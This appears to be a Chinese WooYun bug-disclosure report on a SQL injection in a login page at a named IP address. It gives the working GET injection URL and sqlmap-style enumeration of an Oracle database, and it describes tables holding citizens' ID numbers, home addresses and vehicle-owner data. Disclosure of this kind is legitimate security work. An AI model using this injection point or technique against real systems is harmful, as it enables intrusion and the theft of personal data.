WooYun.org

表太多了，没有全看，有一个表里有一万多市民身份证和家庭住址信息，可被黑产利用，警察叔叔去排查下？
另一个表有六万多的车辆车主信息，有个表貌似还有道路监控的信息，还有一些貌似是什么交通公司的信息。详细没怎看。
注入点：http://58.241.17.92:8004/login.asp
post注入，但是可以转get，就直接get测试了
http://58.241.17.92:8004/login.asp?user_code=admin&user_pass=123&Submit2=%B5%C7%C2%BC (GET)

oracle的数据库==、真是乱啊。就最后一个数据库是对的--ZDCL

web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Oracle
available databases [25]:
[*] CTXSYS
[*] HR
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] RMAN
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS
[*] XDB
[*] ZDCL

然后跑zdcl里面的表

Database: ZDCL
[28 tables]
+---------------------+
| CA_PICTURE |
| DIC_CODE |
| DRIVER |
| DRV_CODE |
| DRV_IDX |
| GLDW |
| GLDW_BAK |
| PBCATCOL |
| PBCATEDT |
| PBCATFMT |
| PBCATTBL |
| PBCATVLD |
| SYS_PARM |
| UPDATE_LOG |
| USER_LOG |
| USER_REPAY |
| VEHICLE |
| VEH_CODE |
| VEH_IDX |
| VEH_PECINFO |
| ZDCL_DRIVINGLICENSE |
| ZDCL_DRV_IDX |
| ZDCL_PECINFO |
| ZDCL_TRANSPCORP |
| ZDCL_USER |
| ZDCL_VEHICLE |
| ZDCL_VEH_CUSTOM |
| ZDCL_VEH_IDX
随便跑了几个看了看数据。直接贴图了。要打码的话at疯狗或者肉肉肉肉肉肉肉